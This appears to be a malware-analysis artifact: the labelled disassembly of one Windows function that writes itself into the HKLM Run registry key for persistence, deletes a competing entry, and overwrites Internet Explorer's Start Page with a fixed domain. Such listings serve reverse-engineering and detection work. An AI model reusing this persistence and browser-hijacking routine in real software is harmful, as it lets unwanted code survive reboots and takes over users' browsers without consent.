Function at 0x4019d0
Capabilities:
Delete registry value
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x13c
lea eax, [esp + 0x24]
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x401c40
lea ebp, [esp + 0x30]
xor ebx, ebx
nop
lea eax, [esp + 0x2c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], ebp
mov dword [esp + 4], ebx
mov dword [esp + 0x2c], 0x100
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumValueA
sub esp, 0x20
test eax, eax
jne 0x401a94
mov edi, 0x406115
mov ecx, 4
mov esi, ebp
repe cmpsb byte [esi], byte es:[edi]
je 0x401c00
add ebx, 1
jmp 0x401a30
mov eax, dword [esp + 0x150]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 1
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 0x2c], eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x150]
mov dword [esp + 4], 0x406115
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
test eax, eax
jne 0x401c80
mov eax, dword [esp + 0x24]
add ebx, 1
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
lea eax, [esp + 0x28]
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftInternet_ExplorerMain
mov dword [esp], 0x80000002
mov dword [esp + 0x10], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x401c60
lea eax, [esp + 0x2c]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], ebp
mov dword [esp + 4], ebx
mov dword [esp + 0x2c], 0x100
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegEnumValueA
sub esp, 0x20
test eax, eax
jne 0x401b95
mov edi, str.Start_Page
mov ecx, 0xb
mov esi, ebp
repe cmpsb byte [esi], byte es:[edi]
je 0x401c20
add ebx, 1
jmp 0x401b31
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], 0xe
mov dword [esp + 0x10], str.dankook.ac.kr
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Start_Page
mov dword [esp], eax
mov dword [esp + 0x2c], 0xe
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
test eax, eax
jne 0x401ca0
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
add esp, 0x13c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x24]
mov dword [esp + 4], ebp
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegDeleteValueA
sub esp, 8
jmp 0x401a8f
mov eax, dword [esp + 0x28]
mov dword [esp + 4], ebp
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegDeleteValueA
sub esp, 8
jmp 0x401b90
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], str.Fail_:_RegOpenKeyExA____s_n
call sub.msvcrt.dll_printf
add esp, 0x13c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], str.SOFTWAREMicrosoftInternet_ExplorerMain
mov dword [esp], str.Fail_:_RegOpenKeyExA____s_n
call sub.msvcrt.dll_printf
add esp, 0x13c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], 0x406115
mov dword [esp], str.Fail_:_RegSetValueExA____s_n
call sub.msvcrt.dll_printf
jmp 0x401ae8
mov dword [esp + 4], str.Start_Page
mov dword [esp], str.Fail_:_RegSetValueExA____s_n
call sub.msvcrt.dll_printf
jmp 0x401bdc